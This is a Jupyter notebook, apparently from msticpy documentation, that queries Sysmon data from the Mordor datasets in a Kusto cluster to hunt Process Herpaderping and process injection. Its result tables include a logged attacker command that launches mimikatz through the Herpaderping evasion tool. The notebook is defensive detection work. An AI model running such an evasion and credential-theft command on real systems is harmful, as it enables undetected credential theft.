docs/notebooks/Kusto-Analysis.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Kusto Analysis\n",
    "\n",
    "The aim of this notebook is to provide an example of analysing security data from a custom\n",
    "[Kusto aka Azure Data Explorer (ADE) cluster](https://docs.microsoft.com/en-us/azure/data-explorer/data-explorer-overview).\n",
    "\n",
    "Kusto/ADE is a fast and highly scalable data exploration service for log and telemetry data, hosted in Azure - and is used across Microsoft\n",
    "for analysing huge datasets of this sort.\n",
    "\n",
    "[Kusto Explorer](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/tools/kusto-explorer) is an extremely useful tool for browsing and querying Kusto databases.\n",
    "\n",
    "### Example Data\n",
    "\n",
    "We use the [Open Threat Research Forge Mordor Security Datasets](https://github.com/OTRF/Security-Datasets/), and assume that these have been\n",
    "loaded already into a Kusto/ADE cluster that you control.\n",
    "\n",
    "___See: [./Kusto-Ingest.ipynb](./Kusto-Ingest.ipynb) for details on data retrieval, prep and loading___."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<hr><h4>Starting Notebook initialization...</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "msticpy version installed: 1.6.1 latest published: 1.6.1<br>Latest version is installed.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Processing imports.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Imported: pd (pandas), IPython.get_ipython, IPython.display.display, IPython.display.HTML, IPython.display.Markdown, widgets (ipywidgets), pathlib.Path, plt (matplotlib.pyplot), matplotlib.MatplotlibDeprecationWarning, np (numpy), msticpy, msticpy.data.QueryProvider, msticpy.nbtools.foliummap.FoliumMap, msticpy.common.utility.md, msticpy.common.utility.md_warn, msticpy.common.wsconfig.WorkspaceConfig, msticpy.datamodel.pivot.Pivot, msticpy.datamodel.entities, msticpy.vis.mp_pandas_plot <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Checking configuration.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<br>The following configuration errors were found: <br> -----------------------------------------------<br>Missing or empty 'AzureSentinel' section<br><br>The following configuration warnings were found: <br> -------------------------------------------------<br>'TIProviders' section has no settings.<br>'OtherProviders' section has no settings.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "No valid configuration for Microsoft Sentinel found. <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Azure CLI credentials not detected. (see <a href='https://github.com/Azure/Azure-Sentinel-Notebooks/wiki/Caching-credentials-with-Azure-CLI'>Caching credentials with Azure CLI</>) <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Setting notebook options.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This product includes GeoLite2 data created by MaxMind, available from\n",
       "<a href=\"https://www.maxmind.com\">https://www.maxmind.com</a>.\n"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This library uses services provided by ipstack.\n",
       "<a href=\"https://ipstack.com\">https://ipstack.com</a>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "c:\\users\\liamkirton\\documents\\work\\dev\\msticpy\\msticpy\\msticpy\\datamodel\\pivot_register_reader.py:201: UserWarning: Could not create instance of class IPStackLookup. Exception was ('IPStack API key not found', '\\nNo API Key was found to access the IPStack service.\\nIf you do not have an account, go here to create one and obtain and API key.\\n\\nAdd this API key to your msticpyconfig.yaml\\nAfter adding the key run the following commands to reload your settings and retry:\\n    import msticpy\\n    msticpy.settings.refresh_config()\\n\\nAlternatively, you can pass this to the IPStackLookup class when creating it:\\n>>> iplookup = IPStackLookup(api_key=\"your_api_key\")\\n', 'Ensure that the path to your msticpyconfig.yaml is specified with the MSTICPYCONFIG environment variable.', 'Or ensure that a copy of this file is in the current directory.', 'https://msticpy.readthedocs.io/en/latest/data_acquisition/GeoIPLookups.html#ipstack-geo-lookup-class', ('Configuring msticpy', 'https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html'), 'https://ipstack.com/product')\n",
      "  warnings.warn(\n"
     ]
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''><font color='orange'><h3>Notebook setup completed with some warnings.</h3></p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>One or more configuration items were missing or set incorrectly.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>Please run the <i>Getting Started Guide for Azure Sentinel ML Notebooks</i> notebook. and the <a href='https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html'>msticpy configuration guide</a>.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>This notebook may still run but with reduced functionality.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h4>Notebook initialization complete</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "False"
      ]
     },
     "execution_count": 1,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from base64 import b64decode\n",
    "from datetime import timedelta\n",
    "import os\n",
    "import tempfile\n",
    "\n",
    "import msticpy\n",
    "msticpy.init_notebook(\n",
    "    namespace=globals()\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Configuration"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Replace these with your own.\n",
    "\n",
    "KUSTO_CLUSTER = 'msticpykustodemo.ukwest'\n",
    "KUSTO_DATABASE = 'MsticPyKustoDemo'\n",
    "\n",
    "# Write and load a temporary MSTICPY Config.\n",
    "# Edit below, or alternatively, put the necessary config into your primary msticpyconfig.yaml and remove this code.\n",
    "\n",
    "temp_dir = tempfile.TemporaryDirectory()\n",
    "\n",
    "kusto_config_path = os.path.abspath(os.path.join(temp_dir.name, 'msticpyconfig-kusto-analysis-temp.yaml'))\n",
    "kusto_query_path = os.path.abspath(os.path.join(temp_dir.name, 'queries'))\n",
    "os.makedirs(kusto_query_path, exist_ok=True)\n",
    "\n",
    "MSTICPY_KUSTO_CONFIG = f\"\"\"\n",
    "Azure:\n",
    "    auth_methods:\n",
    "        - cli\n",
    "    cloud: global\n",
    "DataProviders:\n",
    "    Kusto-MSTICPY:\n",
    "        Args:\n",
    "            Cluster: \"https://{KUSTO_CLUSTER}.kusto.windows.net\"\n",
    "            IntegratedAuth: true\n",
    "QueryDefinitions:\n",
    "    Custom:\n",
    "        - {kusto_query_path}\n",
    "\"\"\"\n",
    "\n",
    "prev_config = os.environ['MSTICPYCONFIG']\n",
    "try:\n",
    "    os.environ['MSTICPYCONFIG'] = kusto_config_path\n",
    "    with open(kusto_config_path, 'w') as f:\n",
    "        f.write(MSTICPY_KUSTO_CONFIG)\n",
    "    msticpy.settings.refresh_config()\n",
    "finally:\n",
    "    os.unlink(kusto_config_path)\n",
    "    os.environ['MSTICPYCONFIG'] = prev_config"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Basic Usage"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Please wait. Loading Kqlmagic extension...done\n",
      "Connecting... "
     ]
    },
    {
     "data": {
      "text/html": [
       "<!DOCTYPE html>\n",
       "            <html><body>\n",
       "            <div style=''>\n",
       "            <a href='file:///C:/Users/liamkirton/.kqlmagic/temp_files/6db3bd0b-91ff-42d9-b494-d5bca6744da8/_MsticPyKustoDemo_at_msticpykustodemo.ukwest_schema.html' style='padding: 2px 6px 2px 6px; color: #333333; background-color: #EEEEEE; border-top: 1px solid #CCCCCC; border-right: 1px solid #333333; border-bottom: 1px solid #333333; border-left: 1px solid #CCCCCC' target='_MsticPyKustoDemo_at_msticpykustodemo.ukwest_schema'>popup schema MsticPyKustoDemo@msticpykustodemo.ukwest</a>\n",
       "            </div>\n",
       "            </body></html>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "connected\n"
     ]
    }
   ],
   "source": [
    "# Load the Kusto Query Provider and connect.\n",
    "# The specified cluster must exist within your config.\n",
    "\n",
    "kusto_prov = QueryProvider('Kusto')\n",
    "kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[+] Event1 #Records: 1240\n"
     ]
    }
   ],
   "source": [
    "# If everything is working correctly, you should have some data available to query!\n",
    "\n",
    "event1_count = kusto_prov.exec_query('Event1 | count').iloc[0].Count\n",
    "print('[+] Event1 #Records:', event1_count)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Basic Example: Mimikatz Process Herpaderping\n",
    "\n",
    "See https://github.com/jxy-s/herpaderping for details, but briefly, the technique aims to bypass anti-virus detections by\n",
    "creating a suspended process from a legitimate/signed binary - then replacing this image with an illegitimate one prior to\n",
    "continuing execution.\n",
    "\n",
    "We'll look at an example contained within the Mordor data."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>Hostname</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>Image</th>\n",
       "      <th>CommandLine</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-10-27 08:28:57.062000+00:00</td>\n",
       "      <td>WORKSTATION5</td>\n",
       "      <td>10164</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\ProcessHerpaderping.exe</td>\n",
       "      <td>ProcessHerpaderping.exe  mimikatz.exe wardog.exe C:\\windows\\System32\\SnippingTool.exe</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp      Hostname ProcessId  \\\n",
       "0 2020-10-27 08:28:57.062000+00:00  WORKSTATION5     10164   \n",
       "\n",
       "                                             Image  \\\n",
       "0  C:\\Users\\wardog\\Desktop\\ProcessHerpaderping.exe   \n",
       "\n",
       "                                                                             CommandLine  \n",
       "0  ProcessHerpaderping.exe  mimikatz.exe wardog.exe C:\\windows\\System32\\SnippingTool.exe  "
      ]
     },
     "execution_count": 5,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Search for processes created with the usefully named \"ProcessHerpaderping.exe\" Image:\n",
    "\n",
    "herpaderping_processes = kusto_prov.exec_query(\"\"\"\n",
    "    Event1\n",
    "    | where Image has \"ProcessHerpaderping.exe\"\n",
    "    | project Timestamp, Hostname, ProcessId, Image, CommandLine\n",
    "\"\"\")\n",
    "\n",
    "herpaderping_processes.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>ProcessGuid</th>\n",
       "      <th>Task</th>\n",
       "      <th>Version</th>\n",
       "      <th>Domain</th>\n",
       "      <th>Keywords</th>\n",
       "      <th>AccountName</th>\n",
       "      <th>SourceName</th>\n",
       "      <th>UserID</th>\n",
       "      <th>Hostname</th>\n",
       "      <th>EventTime</th>\n",
       "      <th>ExecutionProcessID</th>\n",
       "      <th>Image</th>\n",
       "      <th>SeverityValue</th>\n",
       "      <th>Severity</th>\n",
       "      <th>EventID</th>\n",
       "      <th>EventReceivedTime</th>\n",
       "      <th>RecordNumber</th>\n",
       "      <th>SourceModuleType</th>\n",
       "      <th>ThreadID</th>\n",
       "      <th>Message</th>\n",
       "      <th>UtcTime</th>\n",
       "      <th>ProviderGuid</th>\n",
       "      <th>SourceModuleName</th>\n",
       "      <th>EventType</th>\n",
       "      <th>...</th>\n",
       "      <th>FileVersion</th>\n",
       "      <th>Description</th>\n",
       "      <th>Hashes</th>\n",
       "      <th>OriginalFileName</th>\n",
       "      <th>Product</th>\n",
       "      <th>Company</th>\n",
       "      <th>LogonGuid</th>\n",
       "      <th>ParentCommandLine</th>\n",
       "      <th>TerminalSessionId</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ParentProcessGuid</th>\n",
       "      <th>ParentProcessId</th>\n",
       "      <th>ParentImage</th>\n",
       "      <th>IntegrityLevel</th>\n",
       "      <th>CurrentDirectory</th>\n",
       "      <th>LogonId</th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>Port</th>\n",
       "      <th>Tags</th>\n",
       "      <th>Host</th>\n",
       "      <th>ProcessID</th>\n",
       "      <th>ERROR_EVT_UNRESOLVED</th>\n",
       "      <th>Type</th>\n",
       "      <th>TimeCreated</th>\n",
       "      <th>Level</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8924</td>\n",
       "      <td>{39e4a257-1289-5f98-482d-000000000700}</td>\n",
       "      <td>1</td>\n",
       "      <td>NaN</td>\n",
       "      <td></td>\n",
       "      <td>0x8000000000000000</td>\n",
       "      <td></td>\n",
       "      <td>Microsoft-Windows-Sysmon</td>\n",
       "      <td></td>\n",
       "      <td>WORKSTATION5</td>\n",
       "      <td>NaT</td>\n",
       "      <td>NaN</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\wardog.exe</td>\n",
       "      <td>NaN</td>\n",
       "      <td></td>\n",
       "      <td>1</td>\n",
       "      <td>NaT</td>\n",
       "      <td>NaN</td>\n",
       "      <td></td>\n",
       "      <td>NaN</td>\n",
       "      <td>Process Create:\\r\\nRuleName: -\\r\\nUtcTime: 2020-10-27 12:28:57.129\\r\\nProcessGuid: {39e4a257-128...</td>\n",
       "      <td>2020-10-27 12:28:57.129000+00:00</td>\n",
       "      <td>{5770385f-c22a-43e0-bf4c-06f5698ffbd9}</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>SHA1=350B60E6C16B72ECF64BBB5413D8A3DD6D76F33B,MD5=D57CA86AC22DC057456ACC7FDE4E492F,SHA256=6635E4...</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>{39e4a257-f1ac-5f8b-d961-0c0000000000}</td>\n",
       "      <td>ProcessHerpaderping.exe  mimikatz.exe wardog.exe C:\\windows\\System32\\SnippingTool.exe</td>\n",
       "      <td>2.0</td>\n",
       "      <td>\"wardog.exe\"</td>\n",
       "      <td>{39e4a257-1289-5f98-472d-000000000700}</td>\n",
       "      <td>10164.0</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\ProcessHerpaderping.exe</td>\n",
       "      <td>High</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\</td>\n",
       "      <td>0xc61d9</td>\n",
       "      <td>2020-10-27 08:28:57.420000+00:00</td>\n",
       "      <td>NaN</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td></td>\n",
       "      <td>2020-10-27 08:28:57.420000+00:00</td>\n",
       "      <td>4.0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>1 rows × 56 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "  ProcessId                             ProcessGuid  Task  Version Domain  \\\n",
       "0      8924  {39e4a257-1289-5f98-482d-000000000700}     1      NaN          \n",
       "\n",
       "             Keywords AccountName                SourceName UserID  \\\n",
       "0  0x8000000000000000              Microsoft-Windows-Sysmon          \n",
       "\n",
       "       Hostname EventTime  ExecutionProcessID  \\\n",
       "0  WORKSTATION5       NaT                 NaN   \n",
       "\n",
       "                                Image  SeverityValue Severity  EventID  \\\n",
       "0  C:\\Users\\wardog\\Desktop\\wardog.exe            NaN                 1   \n",
       "\n",
       "  EventReceivedTime  RecordNumber SourceModuleType  ThreadID  \\\n",
       "0               NaT           NaN                        NaN   \n",
       "\n",
       "                                                                                               Message  \\\n",
       "0  Process Create:\\r\\nRuleName: -\\r\\nUtcTime: 2020-10-27 12:28:57.129\\r\\nProcessGuid: {39e4a257-128...   \n",
       "\n",
       "                           UtcTime                            ProviderGuid  \\\n",
       "0 2020-10-27 12:28:57.129000+00:00  {5770385f-c22a-43e0-bf4c-06f5698ffbd9}   \n",
       "\n",
       "  SourceModuleName EventType  ...  FileVersion Description  \\\n",
       "0                             ...            -           -   \n",
       "\n",
       "                                                                                                Hashes  \\\n",
       "0  SHA1=350B60E6C16B72ECF64BBB5413D8A3DD6D76F33B,MD5=D57CA86AC22DC057456ACC7FDE4E492F,SHA256=6635E4...   \n",
       "\n",
       "  OriginalFileName Product Company                               LogonGuid  \\\n",
       "0                -       -       -  {39e4a257-f1ac-5f8b-d961-0c0000000000}   \n",
       "\n",
       "                                                                       ParentCommandLine  \\\n",
       "0  ProcessHerpaderping.exe  mimikatz.exe wardog.exe C:\\windows\\System32\\SnippingTool.exe   \n",
       "\n",
       "  TerminalSessionId   CommandLine                       ParentProcessGuid  \\\n",
       "0               2.0  \"wardog.exe\"  {39e4a257-1289-5f98-472d-000000000700}   \n",
       "\n",
       "  ParentProcessId                                      ParentImage  \\\n",
       "0         10164.0  C:\\Users\\wardog\\Desktop\\ProcessHerpaderping.exe   \n",
       "\n",
       "  IntegrityLevel          CurrentDirectory  LogonId  \\\n",
       "0           High  C:\\Users\\wardog\\Desktop\\  0xc61d9   \n",
       "\n",
       "                         Timestamp  Port Tags Host ProcessID  \\\n",
       "0 2020-10-27 08:28:57.420000+00:00   NaN                 NaN   \n",
       "\n",
       "  ERROR_EVT_UNRESOLVED Type                      TimeCreated Level  \n",
       "0                  NaN      2020-10-27 08:28:57.420000+00:00   4.0  \n",
       "\n",
       "[1 rows x 56 columns]"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Take the first such process, and retrieve the child processes created by it within a 30s time window:\n",
    "\n",
    "target_timestamp, target_hostname, target_processid = (\n",
    "    herpaderping_processes.iloc[0].Timestamp,\n",
    "    herpaderping_processes.iloc[0].Hostname,\n",
    "    herpaderping_processes.iloc[0].ProcessId\n",
    ")\n",
    "\n",
    "target_timestamp_range = (target_timestamp.isoformat(), (target_timestamp + timedelta(seconds=30)).isoformat())\n",
    "\n",
    "child_processes = kusto_prov.exec_query(f\"\"\"\n",
    "    Event1\n",
    "    | where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})\n",
    "    | where Hostname == \"{target_hostname}\"\n",
    "    | where ParentProcessId == \"{target_processid}\"\n",
    "    | order by Timestamp asc\n",
    "\"\"\")\n",
    "\n",
    "child_processes.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>ImageLoaded</th>\n",
       "      <th>Signature</th>\n",
       "      <th>Description</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-10-27 08:28:57.556000+00:00</td>\n",
       "      <td>8924</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\wardog.exe</td>\n",
       "      <td>Microsoft Windows</td>\n",
       "      <td>mimikatz for Windows</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>2020-10-27 08:28:57.557000+00:00</td>\n",
       "      <td>8924</td>\n",
       "      <td>C:\\Windows\\System32\\ntdll.dll</td>\n",
       "      <td>Microsoft Windows</td>\n",
       "      <td>NT Layer DLL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>2020-10-27 08:28:57.557000+00:00</td>\n",
       "      <td>8924</td>\n",
       "      <td>C:\\Windows\\System32\\kernel32.dll</td>\n",
       "      <td>Microsoft Windows</td>\n",
       "      <td>Windows NT BASE API Client DLL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>2020-10-27 08:28:57.557000+00:00</td>\n",
       "      <td>8924</td>\n",
       "      <td>C:\\Windows\\System32\\KernelBase.dll</td>\n",
       "      <td>Microsoft Windows</td>\n",
       "      <td>Windows NT BASE API Client DLL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>2020-10-27 08:28:57.585000+00:00</td>\n",
       "      <td>8924</td>\n",
       "      <td>C:\\Windows\\System32\\sechost.dll</td>\n",
       "      <td>Microsoft Windows</td>\n",
       "      <td>Host for SCM/SDDL/LSA Lookup APIs</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp ProcessId  \\\n",
       "0 2020-10-27 08:28:57.556000+00:00      8924   \n",
       "1 2020-10-27 08:28:57.557000+00:00      8924   \n",
       "2 2020-10-27 08:28:57.557000+00:00      8924   \n",
       "3 2020-10-27 08:28:57.557000+00:00      8924   \n",
       "4 2020-10-27 08:28:57.585000+00:00      8924   \n",
       "\n",
       "                          ImageLoaded          Signature  \\\n",
       "0  C:\\Users\\wardog\\Desktop\\wardog.exe  Microsoft Windows   \n",
       "1       C:\\Windows\\System32\\ntdll.dll  Microsoft Windows   \n",
       "2    C:\\Windows\\System32\\kernel32.dll  Microsoft Windows   \n",
       "3  C:\\Windows\\System32\\KernelBase.dll  Microsoft Windows   \n",
       "4     C:\\Windows\\System32\\sechost.dll  Microsoft Windows   \n",
       "\n",
       "                         Description  \n",
       "0               mimikatz for Windows  \n",
       "1                       NT Layer DLL  \n",
       "2     Windows NT BASE API Client DLL  \n",
       "3     Windows NT BASE API Client DLL  \n",
       "4  Host for SCM/SDDL/LSA Lookup APIs  "
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Now, for the first child process, retrieve the loaded images together with a few of their properties.\n",
    "\n",
    "child_process_id = child_processes.iloc[0].ProcessId\n",
    "\n",
    "child_process_image_loads = kusto_prov.exec_query(f\"\"\"\n",
    "    Event7\n",
    "    | where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})\n",
    "    | where Hostname == \"{target_hostname}\"\n",
    "    | where ProcessId == {child_process_id}\n",
    "    | order by Timestamp asc\n",
    "    | project Timestamp, ProcessId, ImageLoaded, Signature, Description\n",
    "\"\"\")\n",
    "\n",
    "child_process_image_loads.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Basic Example: PurpleSharp Process Injection\n",
    "\n",
    "Let's explore Sysmon Event 8, which records Remote Thread Creations - whereby one process creates a thread within another."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>SourceImage</th>\n",
       "      <th>TargetImage</th>\n",
       "      <th>Count</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>C:\\Windows\\System32\\csrss.exe</td>\n",
       "      <td>C:\\Windows\\System32\\svchost.exe</td>\n",
       "      <td>197</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</td>\n",
       "      <td>C:\\Windows\\System32\\notepad.exe</td>\n",
       "      <td>89</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>C:\\Windows\\System32\\csrss.exe</td>\n",
       "      <td>C:\\Windows\\System32\\wbem\\WmiPrvSE.exe</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>C:\\Windows\\System32\\csrss.exe</td>\n",
       "      <td>C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe</td>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>C:\\Windows\\System32\\csrss.exe</td>\n",
       "      <td>C:\\Windows\\System32\\spoolsv.exe</td>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 SourceImage  \\\n",
       "0                              C:\\Windows\\System32\\csrss.exe   \n",
       "1  C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   \n",
       "2                              C:\\Windows\\System32\\csrss.exe   \n",
       "3                              C:\\Windows\\System32\\csrss.exe   \n",
       "4                              C:\\Windows\\System32\\csrss.exe   \n",
       "\n",
       "                                   TargetImage  Count  \n",
       "0              C:\\Windows\\System32\\svchost.exe    197  \n",
       "1              C:\\Windows\\System32\\notepad.exe     89  \n",
       "2        C:\\Windows\\System32\\wbem\\WmiPrvSE.exe      4  \n",
       "3  C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe      3  \n",
       "4              C:\\Windows\\System32\\spoolsv.exe      3  "
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "remote_process_creations = kusto_prov.exec_query(f\"\"\"\n",
    "    Event8\n",
    "    | summarize Count=count() by SourceImage, TargetImage\n",
    "    | order by Count desc\n",
    "\"\"\")\n",
    "\n",
    "remote_process_creations.head()"
   ]
  },
  {
